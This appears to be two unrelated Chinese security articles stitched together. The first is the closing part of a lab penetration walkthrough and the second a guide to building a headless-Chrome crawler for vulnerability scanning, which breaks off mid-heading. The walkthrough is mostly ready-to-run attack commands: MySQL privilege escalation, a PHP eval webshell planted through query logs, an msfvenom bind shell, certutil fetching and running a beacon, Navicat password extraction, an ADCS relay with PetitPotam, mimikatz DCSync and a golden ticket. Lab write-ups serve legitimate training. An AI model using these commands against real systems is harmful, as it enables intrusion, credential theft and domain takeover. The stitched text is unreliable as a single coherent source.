UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('cyzcc' AS Binary(5));
然后用注入点刷新权限，因为该用户是没有刷新权限的权限的：`general/hr/manage/query/delete_cascade.php?condition_cascade=flush
privileges;`
提示这个，或者让改密码死活改不了。再执行一下
grant all privileges ON mysql.* TO 'cyzcc'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
之后就拥有了所有权限
写马
# 查路径：
select @@basedir; # c:\MYOA\mysql5\，那么web目录就是c:\MYOA\webroot # 方法1：
set global slow_query_log=on;
set global slow_query_log_file='C:/MYOA/webroot/cyzcc.php';
select '<?php eval($_POST[x]);?>' or sleep(11);
# 方法2：
set global general_log = on;
set global general_log_file = 'C:/MYOA/webroot/cyzcc.php';
select '<?php eval($_POST[x]);?>';
show variables like '%general%';
上去是system权限，这里本来还想考察一个com组件绕过disable_functions。
上线msf,正向shell：
msfvenom -p windows/meterpreter/bind_tcp LPORT=1234 -f exe > bind_shell.exe
将bind_shell.exe上传到oa机器，运行即可收到bind shell
为了方便之后的操作，我们将shell转到CS上操作:
翻一下桌面找到flag:
本机信息收集，在C盘根目录下看到了服务器安装了Navicat,猜测Navicat里可能保存了数据库的账号和密码。
Navicat 中保存的所有连接账密，都是直接存到对应注册表项值下的。
各个数据库连接账密具体存放位置:
MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\
Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\
MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMongoDB
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\
但是我们这里直接在system权限下进行查询是查不到的。尝试查询当前用户的所有连接记录:
system进程、服务若要操作用户注册表（HKEY_CURRENT_USER）,如果直接操作注册表会被重定向到HKEY_USERS。所以我们这里需要进行从sys-admin的降权操作。
这里利用Cobalt Strike的进程注入实现降权(msf同理)：
查看具有administrator权限的系统进程
tasklist /v /fo list
将Payload注入到新进程中去：
inject 5732 x64
获得一个administrator权限的beacon。
查询mssql的连接账密
# reg query HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ /s /v host 数据库连接 ip
# reg query HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ /s /v UserName 数据库用户名
# reg query HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ /s /v pwd 数据库用户名对应的密码 hash
# reg query HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ /s /v Port 数据库连接端口，默认 16 进制数值
之后，我们把拿到的hash复制回来本地解密即可。
其实有一键化的工具可以直接跑：
<https://github.com/uknowsec/SharpDecryptPwd>
## 0x04 db.iSoon2021.lab
本地挂上代理，使用navicat连接内网mssql，启用目标 mssql 的 xp_cmdshell可以执行命令。
exec master.dbo.xp_cmdshell 'whoami';
发现权限是一个受限的service\mssql$sqlexpress服务账户权限,但是在域里， **服务的权限为Local System 或
Network Service都会注册在活动目录的机器帐户下** ，所以我们我们这里其实已经入域了。
通过使用certutil.exe下载远程的可执行文件，可执行文件可以放在OA服务器或者wordpress上。
exec master.dbo.xp_cmdshell 'cd c:\\test & certutil -urlcache -split -f http://10.10.211.142/beacon999.exe';
执行程序，反弹到CS上操作。
exec master.dbo.xp_cmdshell 'cd c:\\test & beacon999.exe';
Network Service( **NT AUTHORITY\Network Service** )属于Windows服务的登陆账户，拥有
**SeImpersonatePrivilege** 权限，所以这里是可以利用potato进行提权操作。
但是这里需要注意要提权的机器是不出网的，所以我们这里要想反弹shell，还需要经过端口转发或者在入口点经过http代理上线CS或者MSF。
这里其实不提权也可以，不妨碍对域进行攻击。
## 0x05 dc2.net.iSoon2021.lab
简单域信息收集。发现域内一共就三台机器，其中两台域控，一台db服务器。
所以更多的往能够直接打域控的方式上靠。
常见的域提权方式:
* 权限配置不当:ACL,DNSadmin,GPO等等
* 组策略GPP和SYSVOL中的密码
* kerberosating
* zerologon
* ms14-068
* 基于委派的测试
* printNightmare
* relay
如果这里信息收集没找到adcs服务的话:
回到我们现在受控的db服务器上面进行信息收集，提到system权限后，然后降权，发现机器上面有火狐浏览器，降权之后抓一下历史记录，(或者直接3389连上去找)可以看到:
访问发现是域证书服务，可以使用certutil命令来定位域内的CA服务器
certutil -CA
发现在DC1上安装域证书服务，想到今年blackhat2021公开的关于ADCS的攻击方式，其中国内讨论较多的可能就是ADCS ESC8
也被叫做ADCS Relay，是目前ADCS里面利用最广的一个洞。
由于ADCS的http证书接口没有启用NTLM中继保护，因此其易受NTLM Relay攻击。而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证，因此Kerberos协议无法使用。因此，攻击者可以利用NTLM Relay攻击ADCS证书服务。
具体可以参考白皮书:
<https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf>
**ADCS大致攻击思路:**
* 攻击者利用漏洞，强制域控使用机器账户发起ntlm认证请求
* 之后将请求relay到证书服务的http接口，通过验证获得域机器账户的身份
* 利用证书模板为机器用户申请证书，方便之后持久性获取该用户权限
* 最后利用申请到的证书进行认证，就能拿到机器用户也就是域控的权限。
**但是我们这里利用有几个问题需要解决:**
一是我们这里探测发现打印机服务是关闭的，这里需要利用加密文件系统 (EFS) 的RPC协议。和之前的`printer bug`利用类似，EFS 的
rpc，允许恶意`域用户/或机器账号`控制`其它机器`外发认证.
二是我们这里想要进行relay攻击需要利用工具来监听本地445端口，而在windows上445端口是占用的，并且目标机器在内网，且不出网，所以我们这里需要进行流量重定向和端口转发操作。
如果受控机上线了CS，可以直接使用PortBender这个插件:
[PortBender：一款功能强大的TCP端口重定向工具 –
FreeBuf网络安全行业门户](https://www.freebuf.com/articles/network/305106.html)
首先把受控机的445端口流量重定向到受控机自己的8445端口，
首先需要把驱动传到当前shell目录下
upload xxxx.sys
执行重定向
PortBender redirect 445 8445
然后把受控机的8445端口转发到黑客机器的445端口上，
rportfwd 8445 attackip 445
最后攻击者机器利用受控机的socks代理开启impacket监听：
proxychains4 ntlmrelayx.py -t http://10.1.16.82/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'
如果没上cs的话，可以用
https://github.com/Arno0x/DivertTCPconn
在域外机器上利用netsh端口转发，将本地的8445转发到攻击者机器上的445上
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8445 connectaddress=attackip connectport=445
netsh interface portproxy show all
一样将本机445端口流量重定向到8445上
divertTCPConn.exe 445 8445 debug
使用 PetitPotam 触发从域控制器到侦听器的 NTLM 身份验证
PetitPotam.exe 10.1.16.68 10.1.16.80 1
最后我们利用上面获取到的证书，使用Rubeus.exe获取tgt并注入：
Rubeus.exe asktgt /user:DC2$ /certificate:打印出来的base64证书数据 /ptt
最后可以利用mimikatz，进行导出hash
mimikatz.exe "lsadump::dcsync /all /csv /domain:net.iSoon2021.lab"
拿到导出的域管hash,pth横向依此拿到dc2和dc1上的flag。
## 0x06 dc1.net.iSoon2021.lab
现在已经拿到子域域控的权限。
有个155的段，端口扫描可得:10.10.155.10 为父域控。
## 0x07 dc.iSoon2021.lab
**关于sid history**
当同林下创建新域时, EA 组的 SID 固定为根域的 SID, 组 ID 也是固定的 519, 此时, 如果用 EA 组的 SID 设置
SIDHistory 属性并和金票结合,那么一旦当我们拿到了林中任意一个域的 krbtgt NTLM, 即可实现到同林根域的
“跨域金票”拿到了根域,也就等于变相拿到林中的所有其它域,因为林根源对同林下所有域都有管理权。
* 同一个域林中, 林根域和其它树根域之间会自动建立可传递的双向信任关系
* 同一个域树中, 父域和子域之间会自动建立可传递的双向信任关系
* 不同林之间为了实现资源共享, 也可手动建立信任关系, 这种信任关系可以是双向, 也可是单向, 具体依据实际配置而定
nltest /domain_trusts
从上面的命令可以看出来，父域和子域是存在双向的信任关系。
通过生成SIDHistory 版黄金票据完成对父域的提权。
这里首先需要获取以下参数:
* /user 要伪造的用户,通常直接 administrator
* /domain 当前子域名 FQDN
* /sid 当前子域 sid
* /krbtgt 当前子域 krbtgt ntlm hash
* /sids 根域 sid + EA 组 id(默认 519)
这里可以使用powerview+mimikatz收集。
之后创建票据并注入，命令：
mimikatz.exe "kerberos::golden /user:administrator /domain:net.iSoon2021.lab /sid:S-1-5-21-1313431314-2338497662-1182907679 /krbtgt:d5e25ff9a650238a511f95076a1288d3 /sids:S-1-5-21-3103963290-13490155-3681442193-519 /ptt""exit"
用主机名访问，不然会出错，访问父域成功
使用mimikatz导出根域的hash
mimikatz.exe "lsadump::dcsync /domain:iSoon2021.lab /all /csv"
pth上线父域控，C盘根目录下读flag。
## 参考文章
[【技术原创】Confluence利用指南 – 嘶吼 RoarTalk –
回归最本质的信息安全,互联网安全新媒体,4hou.com](https://www.4hou.com/posts/n6Z7)
[域渗透-SID History权限维持及域信任攻击 – gakkkkkkiii
(c0bra.xyz)](https://www.c0bra.xyz/2021/02/17/%E5%9F%9F%E6%B8%97%E9%80%8F-SID-History%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E5%8F%8A%E5%9F%9F%E4%BF%A1%E4%BB%BB%E6%94%BB%E5%87%BB/)
[ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller
Machine Certificate – Red Teaming Experiments
(ired.team)](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/adcs-+-petitpotam-ntlm-relay-obtaining-krbtgt-hash-with-domain-controller-machine-certificate) | 社区文章 |
# 漏扫动态爬虫实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：9ian1i@0keeTeam
## 0x00 简介
动态爬虫作为漏洞扫描的前提，对于web漏洞发现有至关重要的作用，先于攻击者发现脆弱业务的接口将让安全人员占领先机。即使你有再好的payload，如果连入口都发现不了，后续的一切都无法进行。这部分内容是我对之前开发动态爬虫经验的一个总结，在本文将详细介绍实践动态爬虫的过程中需要注意的问题以及解决办法。
在Chrome的Headless模式刚出现不久，我们当时就调研过用作漏洞扫描器爬虫的需求，但由于当时功能不够完善，以及无法达到稳定可靠的要求。举个例子，对于网络请求，无法区分导航请求和其它请求，而本身又不提供navigation
lock的功能，所以很难确保页面的处理不被意外跳转中断。同时，不太稳定的CDP经常意外中断和产生Chrome僵尸进程，所以我们之前一直在使用PhantomJS。
但随着前端的框架使用越来越多，网页内容对爬虫越来越不友好，在不考虑进行服务端渲染的情况下，Vue等框架让静态爬虫彻底失效。同时，由于JS的ES6语法的广泛使用，缺乏维护（创始人宣布归档项目暂停开发）的PhantomJS开始变的力不从心。
在去年，[puppeteer](https://github.com/GoogleChrome/puppeteer)和Chromium项目在经历了不断迭代后，新增了一些关键功能，Headless模式现在已经能大致胜任扫描器爬虫的任务。所以我们在去年果断更新了扫描器的动态爬虫，采用Chromium的Headless模式作为网页内容解析引擎，以下示例代码都是使用[pyppeteer](https://github.com/miyakogi/pyppeteer)
项目(采用python实现的puppeteer非官方版本)，且为相关部分的关键代码段，如需运行请根据情况补全其余必要代码。
## 0x01 初始化设置
因为Chrome自带XSS
Auditor，所以启动浏览器时我们需要进行一些设置，关闭掉这些影响页面内容正常渲染的选项。我们的目的是尽可能的去兼容更多的网页内容，同时在不影响页面渲染的情况下加快速度，所以常见的浏览器启动设置如下：
browser = await launch({
"executablePath": chrome_executable_path,
"args": [
"--disable-gpu",
"--disable-web-security",
"--disable-xss-auditor",# 关闭 XSS Auditor
"--no-sandbox",
"--disable-setuid-sandbox",
"--allow-running-insecure-content",# 允许不安全内容
"--disable-webgl",
"--disable-popup-blocking"
],
"ignoreHTTPSErrors": True # 忽略证书错误
})
接下来，创建隐身模式上下文，打开一个标签页开始请求网页，同样，也需要进行一些定制化设置。比如设置一个常见的正常浏览器UA、开启请求拦截并注入初始的HOOK代码等等：
context = browser.createIncognitoBrowserContext()
page = await context.newPage()
tasks = [
# 设置UA
asyncio.ensure_future(page.setUserAgent("...")),
# 注入初始 hook 代码，具体内容之后介绍
asyncio.ensure_future(page.evaluateOnNewDocument("...")),
# 开启请求拦截
asyncio.ensure_future(page.setRequestInterception(True)),
# 启用JS，不开的话无法执行JS
asyncio.ensure_future(page.setJavaScriptEnabled(True)),
# 关闭缓存
asyncio.ensure_future(page.setCacheEnabled(False)),
# 设置窗口大小
asyncio.ensure_future(page.setViewport({"width": 1920, "height": 1080}))
]
await asyncio.wait(tasks)
这样，我们就创建了一个适合于动态爬虫的浏览器环境。
## 0x02 注入代码
这里指的是在网页文档创建且页面加载前注入JS代码，这部分内容是运行一个动态爬虫的基础，主要是Hook关键的函数和事件，毕竟谁先执行代码谁就能控制JS的运行环境。
### 包含新url的函数
hook History API，许多前端框架都采用此API进行页面路由，记录url并取消操作：
window.history.pushState = function(a, b, url) { console.log(url);}
window.history.replaceState = function(a, b, url) { console.log(url);}
Object.defineProperty(window.history,"pushState",{"writable": false, "configurable": false});
Object.defineProperty(window.history,"replaceState",{"writable": false, "configurable": false});
监听hash变化，Vue等框架默认使用hash部分进行前端页面路由：
window.addEventListener("hashchange", function() {console.log(document.location.href);});
监听窗口的打开和关闭，记录新窗口打开的url，并取消实际操作：
window.open = function (url) { console.log(url);}
Object.defineProperty(window,"open",{"writable": false, "configurable": false});
window.close = function() {console.log("trying to close page.");};
Object.defineProperty(window,"close",{"writable": false, "configurable": false});
同时，还需要hook `window.WebSocket` 、`window.EventSource` 、 `window.fetch`
等函数，具体操作差不多，就不再重复贴代码了。
### 定时函数
`setTimeout`和`setInterval`两个定时函数，在其它文章里都是建议改小时间间隔来加速事件执行，但我在实际使用中发现，如果将时间改的过小，如将
`setInterval` 全部设置为不到1秒甚至0秒，会 **导致回调函数执行过快**
，极大的消耗资源并阻塞整个页面内javascript的正常执行，导致页面的正常逻辑无法执行，最后超时抛错退出。
所以在减小时间间隔的同时，也要考虑稳定性的问题，个人不建议将值设置过小，最好不小于1秒。因为这些回调函数一般都是相同的操作逻辑，只要保证在爬取时能触发一次即可覆盖大部分情况。就算是设置为1秒，部分复杂的网页也会消耗大量资源并显著降低爬取时间，如果你发现有一些页面迟迟不能结束甚至超时，说不定就是这两个定时函数惹的祸。
### 收集事件注册
我们为了尽可能获取更多的url，最好能将页面内注册过的函数全部触发一遍，当然也有意见是触发常见的事件，但不管什么思路，我们都需要收集页面内全部注册的事件。
除了内联事件，事件注册又分`DOM0级`和`DOM2`级事件，两种方式都可以注册事件，使用的方式却完全不相同，Hook点也不同。许多文章都提到了Hook
addEventListener的原型，但其实是有遗漏的，因为 `addEventListener` 只能Hook `DOM2`级事件的注册，无法Hook
`DOM0` 级事件。总之就是，`DOM0`级事件与`DOM2`级事件之间需要不同的方式处理。
测试如下：
可以看到，在注册事件时并没有打印出 name 的值。
#### DOM0 级事件
这是JavaScript指定事件处理程序的传统方式，将一个函数赋值给一个事件处理程序属性。这种方式目前所有浏览器都支持，使用简单且广泛。下面的代码就是一个常见的`DOM0`级事件注册：
let btn = document.getElementById("test");
btn.onclick = function() {
console.log("test");
}
那如何Hook `DOM0`级事件监听呢？答案就是修改所有节点的相关属性原型，设置访问器属性。将以下JS代码提前注入到页面中：
function dom0_listener_hook(that, event_name) {
console.log(that.tagName);
console.log(event_name);
}
Object.defineProperties(HTMLElement.prototype, {
onclick: {set: function(newValue){onclick = newValue;dom0_listener_hook(this, "click");}},
onchange: {set: function(newValue){onchange = newValue;dom0_listener_hook(this, "change");}},
onblur: {set: function(newValue){onblur = newValue;dom0_listener_hook(this, "blur");}},
ondblclick: {set: function(newValue){ondblclick = newValue;dom0_listener_hook(this, "dblclick");}},
onfocus: {set: function(newValue){onfocus = newValue;dom0_listener_hook(this, "focus");}},
... ... // 略 继续自定义你的事件
})
// 禁止重定义访问器属性
Object.defineProperty(HTMLElement.prototype,"onclick",{"configurable": false});
这样我们就完成了对`DOM0级`事件的Hook收集。效果如下：
#### DOM2 级事件
`DOM2级`事件定义了两个方法，用于处理指定和删除事件处理函数的操作：`addEventListener()` 和
`removeEventListener()`，所有的DOM节点中都包含了这两个方法。下面是一个简单的示例：
let btn = document.getElementById("test");
btn.addEventListener("click", function() {
console.log("test");
}, true)
其中第三个参数，true表示在捕获阶段调用事件处理函数，false表示在冒泡阶段调用。
Hook `DOM2` 级事件这部分比较简单，大多数文章也都有提到，通过Hook `addEventListener`的原型即可解决：
let old_event_handle = Element.prototype.addEventListener;
Element.prototype.addEventListener = function(event_name, event_func, useCapture) {
let name = "<" + this.tagName + "> " + this.id + this.name + this.getAttribute("class") + "|" + event_name;
console.log(name);
old_event_handle.apply(this, arguments);
};
### 锁定表单重置
爬虫在处理网页时，会先填充表单，接着触发事件去提交表单，但有时会意外点击到表单的重置按钮，造成内容清空，表单提交失败。所以为了防止这种情况的发生，我们需要Hook表单的重置并锁定不能修改。
HTMLFormElement.prototype.reset = function() {console.log("cancel reset form")};
Object.defineProperty(HTMLFormElement.prototype,"reset",{"writable": false, "configurable": false});
## 0x03 导航锁定
爬虫在处理一个页面时，可能会被期间意外的导航请求中断，造成漏抓。所以除了和本页面相同url的导航请求外，其余所有的导航请求都应该取消。面对重定向需要分多种情况对待：
* 前端重定向全部取消，并记录下目标链接放入任务队列
* 后端重定向响应的body中不包含内容，则跟随跳转
* 后端重定向响应的body中含有内容，无视重定向，渲染body内容，记录下location的值放入任务队列
虽然有请求拦截的相关API（`setRequestInterception`），但导航请求其实已经进入了网络层，直接调用 `request.abort`
会使当前页面抛出异常（`aborted: An operation was aborted (due to user
action)`），从而中断爬虫对当前页面的处理。所以下面会介绍相关的解决办法。
### Hook前端导航
前端导航指由前端页面JS发起的导航请求，如执行 `location.href` 的赋值、点击某个`a`标签等，最后的变化都是location的值发生改变。
**如何优雅的hook前端导航请求** 之前一直是个难题，因为location是不可重定义的：
意味着你无法通过`Object.defineProperty` 方法去重定义访问器属性，也就无法hook
`window.location`的相关赋值操作。PhantomJS中有个`navigationLocked`选项可以很容易的锁定当前导航，但很遗憾这个特性在Chromium中并没有。一旦导航请求进入网络层，整个页面进入阻塞状态。
在说我的做法之前，先介绍一下目前已知的两种解决方案。
#### 修改Chromium源码
这是fate0师傅提出的方案，既然Chromium默认location属性的configurable选项是false，那直接修改源码将它设置为true就解决了，具体操作见其[博客文章](http://blog.fatezero.org/2018/03/05/web-scanner-crawler-01/)。优点是直接从底层修改源码支持，但维护成本较高，每次都得自己编译Chromium。
#### 加载自定义插件
这是由猪猪侠在去年的先知白帽大会上提出的，通过hook网络层的API来解决。但问题是，Chromium的headless模式是无法加载插件的，官方也明确表示目前没有对headless模式加载插件功能的开发计划，也就是说，
**只要你开启了headless模式，那么就无法使用插件** 。
这是个很关键的问题，因为我们的爬虫几乎都是在服务器上运行，不可能去使用图形化的桌面版本，更不可能使用windows
server，这会极大降低速度和稳定性。这是一个非常好的思路，但很遗憾不能在实际环境中大规模运用。
#### 不稳定的onbeforeunload
在之前，我想通过设置`onbeforeunload`访问，当触发确认弹窗时自动执行`dialog.dimiss()`来取消当前的前端导航请求，如在页面中注入以下代码：
window.onbeforeunload = function(e){
console.log("onbeforeunload trigger.")
};
设置自动dimiss弹窗：
import asyncio
from pyppeteer import dialog
async def close_dialog(dialog_handler: dialog):
await dialog_handler.dismiss()
page.on("dialog", lambda dialog_handle: asyncio.ensure_future(close_dialog(dialog_handle)))
按照理想中的情况，每一次离开当前页面的导航都会弹窗询问（是否离开当前页面），如果点击取消，那么此次导航请求就会被取消，同时当前页面不会刷新。
但这个方法有个严重的问题，无法获取即将跳转的url，即`onbeforeunload`回调函数中无法拿到相关的值。并且经过一段时间的测试，这个方法并不可靠，它的触发有一些前置条件，官方说需要用户在当前页面
**存在有效的交互操作** ，才会触发此回调函数。即使我已经尝试用各种API去模拟用户点击等操作，但最后依旧不是百分百触发。
To combat unwanted pop-ups, some browsers don't display prompts created in beforeunload event handlers unless the page has been interacted with. Moreover, some don't display them at all.
所以这个方法最后也被我否决了。
#### 204状态码
这是我目前找到的 **最优雅的解决方案** ，不用修改源码，不用加载插件，在拦截请求的同时返回 **状态码为204**
的响应，可以让浏览器对该请求不做出反应，即不刷新页面，继续显示原来的文档。
在[RFC7231](https://tools.ietf.org/html/rfc7231#section-6.3.5)中我们可以看到如下说明：
The 204 response allows a server to indicate that the action has been successfully applied to the target resource, while implying that the user agent does not need to traverse away from its current "document view" (if any)
意思是，服务端说明操作已经执行成功，同时告诉浏览器不需要离开当前的文档内容。
以下示例代码是拦截当前页面`top frame`的导航请求并返回204状态码：
import asyncio
from pyppeteer.network_manager import Request
async def intercept_request(request: Request):
if request.isNavigationRequest() and not request.frame.parentFram:
await request.respond({
"status": 204
})
# 保存 request 到任务队列
page.on('request', lambda request: asyncio.ensure_future(
intercept_request(request)))
这样，我们成功的Hook住了前端导航，并将目标请求保存到了任务队列。
### 处理后端重定向
许多时候，后端会根据当前用户是否登录来决定重定向，但其实响应的body中依旧包含了内容。最常见的情况就是未登录的情况下访问某些后台管理页面，虽然body中不包含任何用户的信息，但多数情况都会有许多接口，甚至我们能找到一些未授权访问的接口，所以对于重定向的body内容一定不能忽略。
在解决了前端的导航请求问题之后，处理后端重定向响应就很简单了。当后端重定向响应的body中不包含内容，则跟随跳转或者返回location的值然后退出。如果后端重定向响应的body中含有内容，则无视重定向，渲染body内容，并返回location的值。
目前puppeteer并没有拦截修改响应的接口，所以这需要我们思考如何手动完成这个操作。具体方法不再赘述，思路是用requests等库请求该url，并用
`request.respond`手动设置响应状态码为200。
## 0x04 表单处理
过去静态爬虫通过解析form节点手动构造POST请求，放到现在已经显得过时。越来越复杂的前端处理逻辑，从填写表单到发出POST请求，期间会经过复杂的JS逻辑处理，最后得到的请求内容格式和静态构造的往往差别较大，可以说静态爬虫现在几乎无法正确处理表单的提交问题。
所以我们必须模拟正常的表单填写以及点击提交操作，从而让JS发送出正确格式的请求。
### 表单填充
填充数据虽然很简单，但需要考虑各种不同的输入类型，常见的输入类型有：`text`、`email`、`password`、`radio`、`file`、`textarea`、`hidden`等等。我们分为几种类型来单独说明需要注意的问题。
#### 文本
这部分包括`text`、`mail`、`password`等只需要输入文本的类型，处理较为简单，综合判断 id 、name 、class
等属性中的关键字和输入类型来选择对应的填充文本。如包含mail关键字或者输入类型为`email`，则填充邮箱地址。如果包含phone、tel等关键字或输入类型为`tel`，则填充手机号码。具体不再赘述。
#### 选择
这部分包括`radio`、`checkbox`和`select`，前面两个比较简单，找到节点后调用 `elementHandle.click()`
方法即可，或者直接为其设置属性值`checked=true`。
对于`select`
稍微复杂一些，首先找到select节点，获取所有的option子节点的值，然后再选择其中一个执行`page.select(selector,
...values)` 方法。示例代码如下：
def get_all_options_values_js():
return """
function get_all_options_values_sec_auto (node) {
let result = [];
for (let option of node.children) {
let value = option.getAttribute("value");
if (value)
result.push(value)
}
return result;
}
"""
async def fill_multi_select():
select_elements = await page_handler.querySelectorAll("select")
for each in select_elements:
random_str = get_random_str()
# 添加自定义属性 方便后面定位
await page_handler.evaluate("(ele, value) => ele.setAttribute('sec_auto_select', value)", each, random_str)
attr_str = "sec_auto_select="%s"" % random_str
attr_selector = "select[%s]" % attr_str
value_list = await page_handler.querySelectorEval(attr_selector, get_all_options_values_js())
if len(value_list) > 0:
# 默认选择第一个
await page_handler.select(attr_selector, value_list[0])
#### 文件
表单中常见必须要求文件上传文件，有时JS还限制了上传的文件后缀和文件类型。我们无法覆盖所有的文件类型情况，但可以准备几种常见的文件类型，如：`png`、`doc`、`xlsx`、`zip`等。当然，对于一些简单的限制，我们还是可以去掉的，比如找到文件上传的dom节点并删除
`accept` 和 `required` 属性：
input_node.removeAttribute('accept');
input_node.removeAttribute('required');
这样可以尽可能的让我们的文件上传成功。
这里有个问题需要注意一下，在过去版本的`Chromium` headles模式下上传文件时，`request intercept`
抓取到的postData内容将为空，这是个Chromium的BUG，官方在[新版本已经修复了这个问题](https://github.com/GoogleChrome/puppeteer/issues/3471)，请在开发时避开相应的版本。
### 表单提交
提交表单也有一些需要注意的问题，直接点击form表单的提交按钮会导致页面重载，我们并不希望当前页面刷新，所以除了Hook住前端导航请求之外，我们还可以为form节点设置target属性，指向一个隐藏的iframe。具体操作的话就是新建隐藏iframe然后将form表单的target指向它即可，我在这里就不赘述了。
要成功的提交表单，就得正确触发表单的submit操作。不是所有的前端内容都有规范的表单格式，或许有一些form连个button都没有，所以这里有三种思路可供尝试，保险起见建议全部都运行一次：
* 在form节点的子节点内寻找`type=submit`的节点，执行`elementHandle.click()`方法。
* 直接对form节点执行JS语句：`form.submit()`，注意，如果form内有包含属性值`name=submit`的节点，将会抛出异常，所以注意捕获异常。
* 在form节点的子节点内寻找所有button节点，全部执行一次`elementHandle.click()`方法。因为我们之前已经重定义并锁定了表单重置函数，所以不用担心会清空表单。
这样，绝大部分表单我们都能触发了。
## 0x05 事件触发
关于事件触发这部分其实有多种看法，我在这里的观点还是觉得应该去触发所有已注册的事件，并且，除了允许自身的冒泡之外，还应该 **手动进行事件传递**
，即对触发事件节点的子节点继续触发事件。当然，为了性能考虑，你可以将层数控制到三层，且对兄弟节点随机选择一个触发。简单画图说明：
ID为parent的节点存在onclick的内联事件，对其子节点，同一层随机选择一个触发。上图中彩色为触发的节点。
> 事件冒泡是指向父节点传递，事件传递指向子节点传递，遗憾的是我在 **CustomEvent**
> 中没有找到传递方式指定为事件传递的参数选项，所以简单手动实现。
### 内联事件
对于内联事件，因为无法通过Hook去收集注册事件，所以需要查询整个DOM树，找出包含关键字属性的节点，常见的内联事件属性如下：
inline_events = ["onabort", "onblur", "onchange", "onclick", "ondblclick", "onerror","onfocus", "onkeydown","onkeypress", "onkeyup", "onload", "onmousedown","onmousemove", "onmouseout", "onmouseover","onmouseup", "onreset", "onresize", "onselect", "onsubmit", "onunload"]
然后遍历每个事件名，找出节点并自定义触发事件：
def get_trigger_inline_event_js():
return """
async function trigger_all_inline_event(nodes, event_name) {
for (let node of nodes) {
let evt = document.createEvent('CustomEvent');
evt.initCustomEvent(event_name, false, true, null);
try {
node.dispatchEvent(evt);
}
catch {}
}
}
"""
for event_name in ChromeConfig.inline_events:
await self.page_handler.querySelectorAllEval("[%s]" % event_name, get_trigger_inline_event_js(), event_name.replace("on", ""))
至于DOM事件，将收集到的事件依次触发即可，不再赘述。
## 0x06 链接收集
除了常见的属性 `src`和`href`， 还要收集一些如 `data-url`
、`longDesc`、`lowsrc`等属性，以及一些多媒体资源URI。以收集`src`属性值举例：
def get_src_or_href_js():
return """
function get_src_or_href_sec_auto(nodes) {
let result = [];
for (let node of nodes) {
let src = node.getAttribute("src");
if (src) {
result.push(src)
}
}
return result;
}
"""
links = await page_handler.querySelectorAllEval("[src]", get_src_or_href_js())
当然这里你也可以使用 TreeWalker。
同时在拼接相对URL时应该注意base标签的值。
<HTML>
<HEAD>
<TITLE>test</TITLE>
<BASE href="http://www.test.com/products/intro.html">
</HEAD>
<BODY>
<P>Have you seen our <A href="../cages/birds.gif">Bird Cages</A>?
</BODY>
</HTML>
相对url `"../cages/birds.gif"` 将解析为`http://www.test.com/cages/birds.gif`。
### 注释中的链接
注释中的链接一定不能忽略，我们发现很多次暴露出存在漏洞的接口都是在注释当中。这部分链接可以用静态解析的方式去覆盖，也可以采用下面的代码获取注释内容并用正则匹配：
comment_elements = await page_handler.xpath("//comment()")
for each in comment_elements:
if self.page_handler.isClosed():
break
# 注释节点获取内容 只能用 textContent
comment_content = await self.page_handler.evaluate("node => node.textContent", each)
# 自定义正则内容 regex_comment_url
matches = regex_comment_url(comment_content)
for url in matches:
print(url)
## 0x07 去重
说实话这部分是很复杂的一个环节，从参数名的构成，到参数值的类型、长度、出现频次等，需要综合很多情况去对URL进行去重，甚至还要考虑RESTful
API设计风格的URL，以及现在越来越多的伪静态。虽然我们在实践过程中经过一些积累完成了一套规则来进行去重，但由于内容繁琐实在不好展开讨论，且没有太多的参考价值，这方面各家都有各自的处理办法。但归结起来，单靠URL是很难做到完美的去重，好在漏洞扫描时即使多一些重复URL也不会有太大影响，最多就是扫描稍微慢了一点，其实完全可以接受。所以在这部分不必太过纠结完美，实在无法去重，设定一个阈值兜底，避免任务数量过大。
但如果你对URL的去重要求较高，同时愿意耗费一些时间并有充足的存储资源，那么你可以结合响应内容，利用网页的 **结构相似度** 去重。
### 结构相似度
